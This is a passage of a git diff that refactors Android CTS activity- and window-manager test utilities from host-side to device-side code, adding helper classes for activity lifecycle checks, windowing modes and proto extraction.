- void setLockDisabled(boolean lockDisabled) throws DeviceNotAvailableException {
+ void setLockDisabled(boolean lockDisabled) {
runCommandAndPrintOutput("locksettings set-disabled " + lockDisabled);
}
@@ -723,10 +721,10 @@
protected void setDeviceRotation(int rotation) throws Exception {
setAccelerometerRotation(0);
setUserRotation(rotation);
- mAmWmState.waitForRotation(mDevice, rotation);
+ mAmWmState.waitForRotation(rotation);
}
- protected int getDeviceRotation(int displayId) throws DeviceNotAvailableException {
+ protected int getDeviceRotation(int displayId) {
final String displays = runCommandAndPrintOutput("dumpsys display displays").trim();
Pattern pattern = Pattern.compile(
"(mDisplayId=" + displayId + ")([\\s\\S]*)(mOverrideDisplayInfo)(.*)"
@@ -740,18 +738,18 @@
return INVALID_DEVICE_ROTATION;
}
- private int getAccelerometerRotation() throws DeviceNotAvailableException {
+ private int getAccelerometerRotation() {
final String rotation =
runCommandAndPrintOutput("settings get system accelerometer_rotation");
return Integer.parseInt(rotation.trim());
}
- private void setAccelerometerRotation(int rotation) throws DeviceNotAvailableException {
+ private void setAccelerometerRotation(int rotation) {
runCommandAndPrintOutput(
"settings put system accelerometer_rotation " + rotation);
}
- protected int getUserRotation() throws DeviceNotAvailableException {
+ protected int getUserRotation() {
final String rotation =
runCommandAndPrintOutput("settings get system user_rotation").trim();
if ("null".equals(rotation)) {
@@ -760,7 +758,7 @@
return Integer.parseInt(rotation);
}
- private void setUserRotation(int rotation) throws DeviceNotAvailableException {
+ private void setUserRotation(int rotation) {
if (rotation == -1) {
runCommandAndPrintOutput(
"settings delete system user_rotation");
@@ -770,7 +768,7 @@
}
}
- protected void setFontScale(float fontScale) throws DeviceNotAvailableException {
+ protected void setFontScale(float fontScale) {
if (fontScale == 0.0f) {
runCommandAndPrintOutput(
"settings delete system font_scale");
@@ -780,13 +778,12 @@
}
}
- protected void setWindowTransitionAnimationDurationScale(float animDurationScale)
- throws DeviceNotAvailableException {
+ protected void setWindowTransitionAnimationDurationScale(float animDurationScale) {
runCommandAndPrintOutput(
"settings put global transition_animation_scale " + animDurationScale);
}
- protected float getFontScale() throws DeviceNotAvailableException {
+ protected float getFontScale() {
try {
final String fontScale =
runCommandAndPrintOutput("settings get system font_scale").trim();
@@ -798,7 +795,7 @@
}
}
- protected String runCommandAndPrintOutput(String command) throws DeviceNotAvailableException {
+ protected String runCommandAndPrintOutput(String command) {
final String output = executeShellCommand(command);
log(output);
return output;
@@ -809,15 +806,15 @@
* always find the starting point from where to evaluate following logs.
* @return Unique log separator.
*/
- protected String clearLogcat() throws DeviceNotAvailableException {
- mDevice.executeAdbCommand("logcat", "-c");
+ protected String clearLogcat() {
+ executeShellCommand("logcat -c");
final String uniqueString = UUID.randomUUID().toString();
executeShellCommand("log -t " + LOG_SEPARATOR + " " + uniqueString);
return uniqueString;
}
void assertActivityLifecycle(String activityName, boolean relaunched,
- String logSeparator) throws DeviceNotAvailableException {
+ String logSeparator) {
int retriesLeft = 5;
String resultString;
do {
@@ -839,7 +836,7 @@
/** @return Error string if lifecycle counts don't match, null if everything is fine. */
private String verifyLifecycleCondition(String activityName, String logSeparator,
- boolean relaunched) throws DeviceNotAvailableException {
+ boolean relaunched) {
final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(activityName,
logSeparator);
if (relaunched) {
@@ -870,8 +867,7 @@
}
protected void assertRelaunchOrConfigChanged(
- String activityName, int numRelaunch, int numConfigChange, String logSeparator)
- throws DeviceNotAvailableException {
+ String activityName, int numRelaunch, int numConfigChange, String logSeparator) {
int retriesLeft = 5;
String resultString;
do {
@@ -894,7 +890,7 @@
/** @return Error string if lifecycle counts don't match, null if everything is fine. */
private String verifyRelaunchOrConfigChanged(String activityName, int numRelaunch,
- int numConfigChange, String logSeparator) throws DeviceNotAvailableException {
+ int numConfigChange, String logSeparator) {
final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(activityName,
logSeparator);
@@ -911,8 +907,7 @@
return null;
}
- protected void assertActivityDestroyed(String activityName, String logSeparator)
- throws DeviceNotAvailableException {
+ protected void assertActivityDestroyed(String activityName, String logSeparator) {
int retriesLeft = 5;
String resultString;
do {
@@ -933,8 +928,7 @@
}
/** @return Error string if lifecycle counts don't match, null if everything is fine. */
- private String verifyActivityDestroyed(String activityName, String logSeparator)
- throws DeviceNotAvailableException {
+ private String verifyActivityDestroyed(String activityName, String logSeparator) {
final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(activityName,
logSeparator);
@@ -951,19 +945,18 @@
return null;
}
- protected String[] getDeviceLogsForComponent(String componentName, String logSeparator)
- throws DeviceNotAvailableException {
+ protected String[] getDeviceLogsForComponent(String componentName, String logSeparator) {
return getDeviceLogsForComponents(new String[]{componentName}, logSeparator);
}
protected String[] getDeviceLogsForComponents(final String[] componentNames,
- String logSeparator) throws DeviceNotAvailableException {
+ String logSeparator) {
String filters = LOG_SEPARATOR + ":I ";
for (String component : componentNames) {
filters += component + ":I ";
}
- final String[] result = mDevice.executeAdbCommand(
- "logcat", "-v", "brief", "-d", filters, "*:S").split("\\n");
+ final String[] result = executeShellCommand("logcat -v brief -d " + filters + " *:S")
+ .split("\\n");
if (logSeparator == null) {
return result;
}
@@ -984,7 +977,7 @@
return filteredResult;
}
- void assertSingleLaunch(String activityName, String logSeparator) throws DeviceNotAvailableException {
+ void assertSingleLaunch(String activityName, String logSeparator) {
int retriesLeft = 5;
String resultString;
do {
@@ -1006,7 +999,7 @@
assertNull(resultString, resultString);
}
- public void assertSingleLaunchAndStop(String activityName, String logSeparator) throws DeviceNotAvailableException {
+ public void assertSingleLaunchAndStop(String activityName, String logSeparator) {
int retriesLeft = 5;
String resultString;
do {
@@ -1028,7 +1021,7 @@
assertNull(resultString, resultString);
}
- public void assertSingleStartAndStop(String activityName, String logSeparator) throws DeviceNotAvailableException {
+ public void assertSingleStartAndStop(String activityName, String logSeparator) {
int retriesLeft = 5;
String resultString;
do {
@@ -1050,7 +1043,7 @@
assertNull(resultString, resultString);
}
- void assertSingleStart(String activityName, String logSeparator) throws DeviceNotAvailableException {
+ void assertSingleStart(String activityName, String logSeparator) {
int retriesLeft = 5;
String resultString;
do {
@@ -1074,7 +1067,7 @@
private String validateLifecycleCounts(String activityName, String logSeparator,
int createCount, int startCount, int resumeCount, int pauseCount, int stopCount,
- int destroyCount) throws DeviceNotAvailableException {
+ int destroyCount) {
final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(activityName,
logSeparator);
@@ -1158,8 +1151,7 @@
}
}
- ReportedSizes getLastReportedSizesForActivity(String activityName, String logSeparator)
- throws DeviceNotAvailableException {
+ ReportedSizes getLastReportedSizesForActivity(String activityName, String logSeparator) {
int retriesLeft = 5;
ReportedSizes result;
do {
@@ -1179,8 +1171,7 @@
return result;
}
- private ReportedSizes readLastReportedSizes(String activityName, String logSeparator)
- throws DeviceNotAvailableException {
+ private ReportedSizes readLastReportedSizes(String activityName, String logSeparator) {
final String[] lines = getDeviceLogsForComponent(activityName, logSeparator);
for (int i = lines.length - 1; i >= 0; i--) {
final String line = lines[i].trim();
@@ -1218,8 +1209,7 @@
int mLastStopLineIndex;
int mDestroyCount;
- public ActivityLifecycleCounts(String activityName, String logSeparator)
- throws DeviceNotAvailableException {
+ public ActivityLifecycleCounts(String activityName, String logSeparator) {
int lineIndex = 0;
for (String line : getDeviceLogsForComponent(activityName, logSeparator)) {
line = line.trim();
@@ -1297,12 +1287,11 @@
}
protected LaunchActivityBuilder getLaunchActivityBuilder() {
- return new LaunchActivityBuilder(mAmWmState, mDevice);
+ return new LaunchActivityBuilder(mAmWmState);
}
protected static class LaunchActivityBuilder {
private final ActivityAndWindowManagersState mAmWmState;
- private final ITestDevice mDevice;
private String mTargetActivityName;
private String mTargetPackage = componentName;
@@ -1314,11 +1303,13 @@
private String mLaunchingActivityName = LAUNCHING_ACTIVITY;
private boolean mReorderToFront;
private boolean mWaitForLaunched;
+ // Use of the following variables indicates that a broadcast receiver should be used instead
+ // of a launching activity;
+ private String mBroadcastReceiverComponent;
+ private String mBroadcastReceiverAction;
- public LaunchActivityBuilder(ActivityAndWindowManagersState amWmState,
- ITestDevice device) {
+ public LaunchActivityBuilder(ActivityAndWindowManagersState amWmState) {
mAmWmState = amWmState;
- mDevice = device;
mWaitForLaunched = true;
}
@@ -1372,9 +1363,25 @@
return this;
}
+ /** Use broadcast receiver instead of launching activity. */
+ public LaunchActivityBuilder setUseBroadcastReceiver(String componentName,
+ String broadcastAction) {
+ mBroadcastReceiverComponent = componentName;
+ mBroadcastReceiverAction = broadcastAction;
+ return this;
+ }
+
public void execute() throws Exception {
- StringBuilder commandBuilder = new StringBuilder(getAmStartCmd(mLaunchingActivityName));
- commandBuilder.append(" -f 0x20000000");
+ StringBuilder commandBuilder = new StringBuilder();
+ if (mBroadcastReceiverComponent != null && mBroadcastReceiverAction != null) {
+ // Use broadcast receiver to launch the target.
+ commandBuilder.append("am broadcast -a ").append(mBroadcastReceiverAction);
+ commandBuilder.append(" -p ").append(mBroadcastReceiverComponent);
+ } else {
+ // Use launching activity to launch the target.
+ commandBuilder.append(getAmStartCmd(mLaunchingActivityName));
+ commandBuilder.append(" -f 0x20000000");
+ }
// Add a flag to ensure we actually mean to launch an activity.
commandBuilder.append(" --ez launch_activity true");
@@ -1401,16 +1408,16 @@
if (mDisplayId != INVALID_DISPLAY_ID) {
commandBuilder.append(" --ei display_id ").append(mDisplayId);
}
- executeShellCommand(mDevice, commandBuilder.toString());
+ executeShellCommand(commandBuilder.toString());
if (mWaitForLaunched) {
- mAmWmState.waitForValidState(mDevice, new String[]{mTargetActivityName},
- null /* stackIds */, false /* compareTaskAndStackBounds */, mTargetPackage);
+ mAmWmState.waitForValidState(false /* compareTaskAndStackBounds */, mTargetPackage,
+ new WaitForValidActivityState.Builder(mTargetActivityName).build());
}
}
}
- void tearDownLockCredentials() throws Exception {
+ protected void tearDownLockCredentials() throws Exception {
if (!mLockCredentialsSet) {
return;
}
@@ -1422,4 +1429,152 @@
sleepDevice();
wakeUpAndUnlockDevice();
}
+
+ /** Helper class to makes sure we are reference the same activity across relaunches */
+ protected static class TestActivityHolder extends Instrumentation.ActivityMonitor {
+
+ final Class<?> mClass;
+ final Instrumentation mInstrumentation;
+ final Context mContext;
+
+ TestActivityHolder(Class<?> cls, Context context) {
+ super(cls.getName(), null, false);
+ mClass = cls;
+ mInstrumentation = InstrumentationRegistry.getInstrumentation();
+ mInstrumentation.addMonitor(this);
+ mContext = context;
+ }
+
+ protected TestActivityBase getCurrentActivity() {
+ return (TestActivityBase) getLastActivity();
+ }
+
+ protected void launchActivity(int flags, Bundle options) {
+ final Intent intent = new Intent(mContext, mClass);
+ intent.addFlags(flags | FLAG_ACTIVITY_NEW_TASK);
+ mInstrumentation.startActivitySync(intent, options);
+ mInstrumentation.waitForIdleSync();
+ }
+
+ /** Launches another activity from this activities context. */
+ protected TestActivityHolder launchOtherActivity(Class<?> cls, int flags, Bundle options) {
+ final TestActivityHolder activityHolder =
+ new TestActivityHolder(cls, getCurrentActivity());
+
+ final Activity activity = getCurrentActivity();
+ final Intent intent = new Intent(activity, cls);
+ intent.addFlags(flags);
+ activity.startActivity(intent, options);
+ mInstrumentation.waitForIdleSync();
+ return activityHolder;
+ }
+
+ protected void launchActivityInSplitScreen() {
+ launchActivity(0, null);
+ final int taskId = getLastActivity().getTaskId();
+ final ActivityManager am = mContext.getSystemService(ActivityManager.class);
+ am.setTaskWindowingModeSplitScreenPrimary(taskId, SPLIT_SCREEN_CREATE_MODE_TOP_OR_LEFT,
+ true /* onTop */, false /* animate */, null /* initialBounds */);
+ waitForWindowingMode(WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, 5000 /* timeoutMs */);
+ }
+
+ synchronized void waitForWindowingMode(int windowingMode, long timeoutMs) {
+ final boolean inMultiWindowMode = windowingMode != WINDOWING_MODE_FULLSCREEN;
+ final long startTime = System.currentTimeMillis();
+ TestActivityBase activity = getCurrentActivity();
+ if (activity != null) {
+ activity.setMonitor(this);
+ }
+ while(timeoutMs > 0 && (windowingMode != getWindowingMode()
+ || inMultiWindowMode != getLastReportedInMultiWindowMode())) {
+ try {
+ wait(timeoutMs);
+ final long waitedTime = System.currentTimeMillis() - startTime;
+ timeoutMs -=waitedTime;
+ if (activity != getCurrentActivity()) {
+ activity = getCurrentActivity();
+ activity.setMonitor(this);
+ }
+ } catch (InterruptedException e) {
+ }
+ }
+ assertEquals(windowingMode, getWindowingMode());
+ assertEquals(inMultiWindowMode, getLastReportedInMultiWindowMode());
+ }
+
+ void assertWindowingMode(int windowingMode) {
+ waitForWindowingMode(windowingMode, 5000 /* timeoutMs */);
+ final boolean inMultiWindowMode = windowingMode != WINDOWING_MODE_FULLSCREEN;
+ final TestActivityBase activity = getCurrentActivity();
+ assertEquals(inMultiWindowMode, activity.isInMultiWindowMode());
+ assertEquals(inMultiWindowMode, activity.mLastReportedInMultiWindowMode);
+ assertEquals(windowingMode, activity.getWindowingMode());
+ }
+
+ protected int getWindowingMode() {
+ final TestActivityBase activity = getCurrentActivity();
+ return (activity != null) ? activity.getWindowingMode() : WINDOWING_MODE_UNDEFINED;
+ }
+
+ protected boolean getLastReportedInMultiWindowMode() {
+ final TestActivityBase activity = getCurrentActivity();
+ return (activity != null) ? activity.mLastReportedInMultiWindowMode : false;
+ }
+ }
+
+ protected static class TestActivityBase extends Activity {
+ protected boolean mLastReportedInMultiWindowMode;
+ private Instrumentation.ActivityMonitor mMonitor = new Instrumentation.ActivityMonitor();
+
+ protected Activity startActivity(Class<?> cls, int flags, Instrumentation instrumentation) {
+ final Intent intent = new Intent(this, cls);
+ intent.addFlags(flags);
+ final Activity activity = instrumentation.startActivitySync(intent);
+ instrumentation.waitForIdleSync();
+ return activity;
+ }
+
+ protected void setMonitor(Instrumentation.ActivityMonitor monitor) {
+ synchronized (mMonitor) {
+ mMonitor = monitor;
+ }
+ }
+
+ protected int getWindowingMode() {
+ return getResources().getConfiguration().windowConfiguration.getWindowingMode();
+ }
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ mLastReportedInMultiWindowMode = isInMultiWindowMode();
+ }
+
+ @Override
+ public void onMultiWindowModeChanged(
+ boolean isInMultiWindowMode, Configuration newConfig) {
+ super.onMultiWindowModeChanged(isInMultiWindowMode, newConfig);
+ mLastReportedInMultiWindowMode = isInMultiWindowMode;
+ synchronized (mMonitor) {
+ mMonitor.notifyAll();
+ }
+ }
+
+ @Override
+ public void onPictureInPictureModeChanged(boolean isInPictureInPictureMode,
+ Configuration newConfig) {
+ super.onPictureInPictureModeChanged(isInPictureInPictureMode, newConfig);
+ synchronized (mMonitor) {
+ mMonitor.notifyAll();
+ }
+ }
+
+ @Override
+ public void onConfigurationChanged(Configuration newConfig) {
+ super.onConfigurationChanged(newConfig);
+ synchronized (mMonitor) {
+ mMonitor.notifyAll();
+ }
+ }
+ }
}
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/ProtoExtractors.java b/tests/framework/base/activitymanager/util/src/android/server/am/ProtoExtractors.java
new file mode 100644
index 0000000..060fc60
--- /dev/null
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/ProtoExtractors.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.WindowConfiguration;
+import android.app.nano.WindowConfigurationProto;
+import android.content.nano.ConfigurationProto;
+import android.content.res.Configuration;
+import android.graphics.Rect;
+import android.graphics.nano.RectProto;
+
+/**
+ * Utility class for extracting some common framework object from nano proto objects.
+ * Normally the extractors will be in the framework object class, but we don't want the framework to
+ * depend on nano proto due to size cost.
+ * TODO: This class should probably be in frameworks/base/lib project so it can be used
+ * outside of CTS.
+ */
+public class ProtoExtractors {
+ public static Configuration extract(ConfigurationProto proto) {
+ final Configuration config = new Configuration();
+ if (proto == null) {
+ return config;
+ }
+ config.windowConfiguration.setTo(extract(proto.windowConfiguration));
+ config.densityDpi = proto.densityDpi;
+ config.orientation = proto.orientation;
+ config.screenHeightDp = proto.screenHeightDp;
+ config.screenWidthDp = proto.screenWidthDp;
+ config.smallestScreenWidthDp = proto.smallestScreenWidthDp;
+ config.screenLayout = proto.screenLayout;
+ config.uiMode = proto.uiMode;
+ return config;
+ }
+
+ public static WindowConfiguration extract(WindowConfigurationProto proto) {
+ final WindowConfiguration config = new WindowConfiguration();
+ if (proto == null) {
+ return config;
+ }
+ config.setAppBounds(extract(proto.appBounds));
+ config.setWindowingMode(proto.windowingMode);
+ config.setActivityType(proto.activityType);
+ return config;
+ }
+
+ public static Rect extract(RectProto proto) {
+ if (proto == null) {
+ return null;
+ }
+ return new Rect(proto.left, proto.top, proto.right, proto.bottom);
+ }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/StateLogger.java b/tests/framework/base/activitymanager/util/src/android/server/am/StateLogger.java
similarity index 72%
rename from hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/StateLogger.java
rename to tests/framework/base/activitymanager/util/src/android/server/am/StateLogger.java
index 335f26c..e3ad3be 100644
--- a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/StateLogger.java
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/StateLogger.java
@@ -14,27 +14,32 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import static com.android.ddmlib.Log.LogLevel.INFO;
-import static com.android.ddmlib.Log.LogLevel.ERROR;
+import android.util.Log;
/**
* Util class to perform simple state logging.
*/
public class StateLogger {
- private static final boolean DEBUG = false;
- /** Simple info-level logging gated by {@link #DEBUG} flag */
+ private static final boolean DEBUG = false;
+ private static String TAG = "AMWM";
+
+ /**
+ * Simple info-level logging gated by {@link #DEBUG} flag
+ */
public static void log(String logText) {
if (DEBUG) {
- CLog.logAndDisplay(INFO, logText);
+ Log.i(TAG, logText);
}
}
+ public static void logAlways(String logText) {
+ Log.i(TAG, logText);
+ }
+
public static void logE(String logText) {
- CLog.logAndDisplay(ERROR, logText);
+ Log.e(TAG, logText);
}
}
diff --git a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/SurfaceTraceReceiver.java b/tests/framework/base/activitymanager/util/src/android/server/am/SurfaceTraceReceiver.java
similarity index 68%
rename from hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/SurfaceTraceReceiver.java
rename to tests/framework/base/activitymanager/util/src/android/server/am/SurfaceTraceReceiver.java
index 8026e80..4b3953c 100644
--- a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/SurfaceTraceReceiver.java
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/SurfaceTraceReceiver.java
@@ -14,27 +14,24 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
-import com.android.ddmlib.IShellOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
+import static android.server.am.StateLogger.logE;
-import java.awt.Rectangle;
+import static org.junit.Assert.fail;
+
+import android.graphics.RectF;
+
import java.io.ByteArrayInputStream;
import java.io.DataInputStream;
import java.io.IOException;
-import java.lang.System;
-import junit.framework.Assert;
-
-import static android.server.cts.StateLogger.logE;
// Parses a trace of surface commands from the WM (in real time)
// and dispenses them via the SurfaceObserver interface.
//
// Data enters through addOutput
-public class SurfaceTraceReceiver implements IShellOutputReceiver {
+public class SurfaceTraceReceiver {
+
final SurfaceObserver mObserver;
private State mState = State.CMD;
@@ -42,22 +39,20 @@
private int mArgPosition = 0;
private float[] mTmpFloats = new float[10];
private int[] mTmpInts = new int[10];
- private Rectangle.Float mTmpRect = new Rectangle.Float();
+ private RectF mTmpRect = new RectF();
private byte[] mUnprocessedBytes = new byte[16384];
private byte[] mFullData = new byte[32768];
private int mUnprocessedBytesLength;
- private boolean mCancelled = false;
-
- interface SurfaceObserver {
+ public interface SurfaceObserver {
default void setAlpha(String windowName, float alpha) {}
default void setLayer(String windowName, int layer) {}
default void setPosition(String windowName, float x, float y) {}
default void setSize(String widnowName, int width, int height) {}
default void setLayerStack(String windowName, int layerStack) {}
default void setMatrix(String windowName, float dsdx, float dtdx, float dsdy, float dtdy) {}
- default void setCrop(String windowName, Rectangle.Float crop) {}
- default void setFinalCrop(String windowName, Rectangle.Float finalCrop) {}
+ default void setCrop(String windowName, RectF crop) {}
+ default void setFinalCrop(String windowName, RectF finalCrop) {}
default void hide(String windowName) {}
default void show(String windowName) {}
default void setGeometryAppliesWithResize(String windowName) {}
@@ -121,7 +116,7 @@
void parsePosition(DataInputStream d) throws IOException {
mTmpFloats[mArgPosition] = d.readFloat();
mArgPosition++;
- if (mArgPosition == 2) {
+ if (mArgPosition == 2) {
mObserver.setPosition(mCurrentWindowName, mTmpFloats[0], mTmpFloats[1]);
nextCmd(d);
}
@@ -141,8 +136,8 @@
mTmpFloats[mArgPosition] = d.readFloat();
mArgPosition++;
if (mArgPosition == 4) {
- mTmpRect.setRect(mTmpFloats[0], mTmpFloats[1], mTmpFloats[2]-mTmpFloats[0],
- mTmpFloats[3]-mTmpFloats[1]);
+ mTmpRect.set(mTmpFloats[0], mTmpFloats[1], mTmpFloats[2],
+ mTmpFloats[3]);
mObserver.setCrop(mCurrentWindowName, mTmpRect);
nextCmd(d);
}
@@ -152,8 +147,8 @@
mTmpFloats[mArgPosition] = d.readInt();
mArgPosition++;
if (mArgPosition == 4) {
- mTmpRect.setRect(mTmpFloats[0], mTmpFloats[1], mTmpFloats[2]-mTmpFloats[0],
- mTmpFloats[3]-mTmpFloats[1]);
+ mTmpRect.set(mTmpFloats[0], mTmpFloats[1], mTmpFloats[2],
+ mTmpFloats[3]);
mObserver.setFinalCrop(mCurrentWindowName, mTmpRect);
nextCmd(d);
}
@@ -193,12 +188,12 @@
public int indexAfterLastSigil(byte[] data, int offset, int length) {
int idx = offset + length - 1;
int sigilsNeeded = 4;
- byte sigil = (byte)0xfc;
+ byte sigil = (byte) 0xfc;
while (idx > offset) {
if (data[idx] == sigil) {
sigilsNeeded--;
if (sigilsNeeded == 0) {
- return idx+4;
+ return idx + 4;
}
} else {
sigilsNeeded = 4;
@@ -209,8 +204,8 @@
}
// The tricky bit here is ADB may break up our words, and not send us complete messages,
- // or even complete integers! To ensure we process the data in appropciate chunks,
- // We look for a sigil (0xfcfcfcfc) and only process data when it ends in as igil.
+ // or even complete integers! To ensure we process the data in appropriate chunks,
+ // We look for a sigil (0xfcfcfcfc) and only process data when it ends in as sigil.
// Otherwise we save it and wait to receive a sigil, then process the merged data.
public void addOutput(byte[] data, int offset, int length) {
byte[] combinedData = data;
@@ -231,7 +226,7 @@
int completedIndex = indexAfterLastSigil(combinedData, offset, length);
// If there are any bytes left after the last sigil, save them for next time.
if (completedIndex != length + offset) {
- mUnprocessedBytesLength = (length+offset)-(completedIndex);
+ mUnprocessedBytesLength = (length + offset) - (completedIndex);
System.arraycopy(combinedData, completedIndex,
mUnprocessedBytes, 0, mUnprocessedBytesLength);
}
@@ -239,7 +234,8 @@
if (completedIndex <= offset) {
return;
}
- ByteArrayInputStream b = new ByteArrayInputStream(combinedData, offset, completedIndex - offset);
+ ByteArrayInputStream b = new ByteArrayInputStream(combinedData, offset,
+ completedIndex - offset);
DataInputStream d = new DataInputStream(b);
// We may not receive an entire message at once (for example we may receive
@@ -260,55 +256,55 @@
}
}
switch (mState) {
- case CMD: {
- String cmd = d.readUTF();
- parseCmd(d, cmd);
- break;
- }
- case SET_ALPHA: {
- parseAlpha(d);
- break;
- }
- case SET_LAYER: {
- parseLayer(d);
- break;
- }
- case SET_POSITION: {
- parsePosition(d);
- break;
- }
- case SET_SIZE: {
- parseSize(d);
- break;
- }
- case SET_CROP: {
- parseCrop(d);
- break;
- }
- case SET_FINAL_CROP: {
- parseFinalCrop(d);
- break;
- }
- case SET_LAYER_STACK: {
- parseLayerStack(d);
- break;
- }
- case SET_MATRIX: {
- parseSetMatrix(d);
- break;
- }
- case HIDE: {
- parseHide(d);
- break;
- }
- case SHOW: {
- parseShow(d);
- break;
- }
- case GEOMETRY_APPLIES_WITH_RESIZE: {
- parseGeometryAppliesWithResize(d);
- break;
- }
+ case CMD: {
+ String cmd = d.readUTF();
+ parseCmd(d, cmd);
+ break;
+ }
+ case SET_ALPHA: {
+ parseAlpha(d);
+ break;
+ }
+ case SET_LAYER: {
+ parseLayer(d);
+ break;
+ }
+ case SET_POSITION: {
+ parsePosition(d);
+ break;
+ }
+ case SET_SIZE: {
+ parseSize(d);
+ break;
+ }
+ case SET_CROP: {
+ parseCrop(d);
+ break;
+ }
+ case SET_FINAL_CROP: {
+ parseFinalCrop(d);
+ break;
+ }
+ case SET_LAYER_STACK: {
+ parseLayerStack(d);
+ break;
+ }
+ case SET_MATRIX: {
+ parseSetMatrix(d);
+ break;
+ }
+ case HIDE: {
+ parseHide(d);
+ break;
+ }
+ case SHOW: {
+ parseShow(d);
+ break;
+ }
+ case GEOMETRY_APPLIES_WITH_RESIZE: {
+ parseGeometryAppliesWithResize(d);
+ break;
+ }
}
}
} catch (Exception e) {
@@ -318,63 +314,50 @@
void parseCmd(DataInputStream d, String cmd) {
switch (cmd) {
- case "Alpha":
- mState = State.SET_ALPHA;
- break;
- case "Layer":
- mState = State.SET_LAYER;
- break;
- case "Position":
- mState = State.SET_POSITION;
- break;
- case "Size":
- mState = State.SET_SIZE;
- break;
- case "Crop":
- mState = State.SET_CROP;
- break;
- case "FinalCrop":
- mState = State.SET_FINAL_CROP;
- break;
- case "LayerStack":
- mState = State.SET_LAYER_STACK;
- break;
- case "Matrix":
- mState = State.SET_MATRIX;
- break;
- case "Hide":
- mState = State.HIDE;
- break;
- case "Show":
- mState = State.SHOW;
- break;
- case "GeometryAppliesWithResize":
- mState = State.GEOMETRY_APPLIES_WITH_RESIZE;
- break;
- case "OpenTransaction":
- mObserver.openTransaction();
- nextCmd(d);
- break;
- case "CloseTransaction":
- mObserver.closeTransaction();
- nextCmd(d);
- break;
- default:
- Assert.fail("Unexpected surface command: " + cmd);
- break;
+ case "Alpha":
+ mState = State.SET_ALPHA;
+ break;
+ case "Layer":
+ mState = State.SET_LAYER;
+ break;
+ case "Position":
+ mState = State.SET_POSITION;
+ break;
+ case "Size":
+ mState = State.SET_SIZE;
+ break;
+ case "Crop":
+ mState = State.SET_CROP;
+ break;
+ case "FinalCrop":
+ mState = State.SET_FINAL_CROP;
+ break;
+ case "LayerStack":
+ mState = State.SET_LAYER_STACK;
+ break;
+ case "Matrix":
+ mState = State.SET_MATRIX;
+ break;
+ case "Hide":
+ mState = State.HIDE;
+ break;
+ case "Show":
+ mState = State.SHOW;
+ break;
+ case "GeometryAppliesWithResize":
+ mState = State.GEOMETRY_APPLIES_WITH_RESIZE;
+ break;
+ case "OpenTransaction":
+ mObserver.openTransaction();
+ nextCmd(d);
+ break;
+ case "CloseTransaction":
+ mObserver.closeTransaction();
+ nextCmd(d);
+ break;
+ default:
+ fail("Unexpected surface command: " + cmd);
+ break;
}
}
-
- @Override
- public void flush() {
- }
-
- void cancel() {
- mCancelled = true;
- }
-
- @Override
- public boolean isCancelled() {
- return mCancelled;
- }
}
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/WaitForValidActivityState.java b/tests/framework/base/activitymanager/util/src/android/server/am/WaitForValidActivityState.java
new file mode 100644
index 0000000..e210047
--- /dev/null
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/WaitForValidActivityState.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.app.ActivityManager.StackId.INVALID_STACK_ID;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_UNDEFINED;
+import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
+
+public class WaitForValidActivityState {
+ public final String activityName;
+ public final int stackId;
+ public final int windowingMode;
+ public final int activityType;
+
+ public WaitForValidActivityState(String activityName) {
+ this.activityName = activityName;
+ this.stackId = INVALID_STACK_ID;
+ this.windowingMode = WINDOWING_MODE_UNDEFINED;
+ this.activityType = ACTIVITY_TYPE_UNDEFINED;
+ }
+
+ private WaitForValidActivityState(String activityName, int stackId, int windowingMode,
+ int activityType) {
+ this.activityName = activityName;
+ this.stackId = stackId;
+ this.windowingMode = windowingMode;
+ this.activityType = activityType;
+ }
+
+ public static class Builder {
+ private String mActivityName = null;
+ private int mStackId = INVALID_STACK_ID;
+ private int mWindowingMode = WINDOWING_MODE_UNDEFINED;
+ private int mActivityType = ACTIVITY_TYPE_UNDEFINED;
+
+ public Builder() {}
+
+ public Builder(String activityName) {
+ mActivityName = activityName;
+ }
+
+ public Builder setActivityName(String activityName) {
+ mActivityName = activityName;
+ return this;
+ }
+
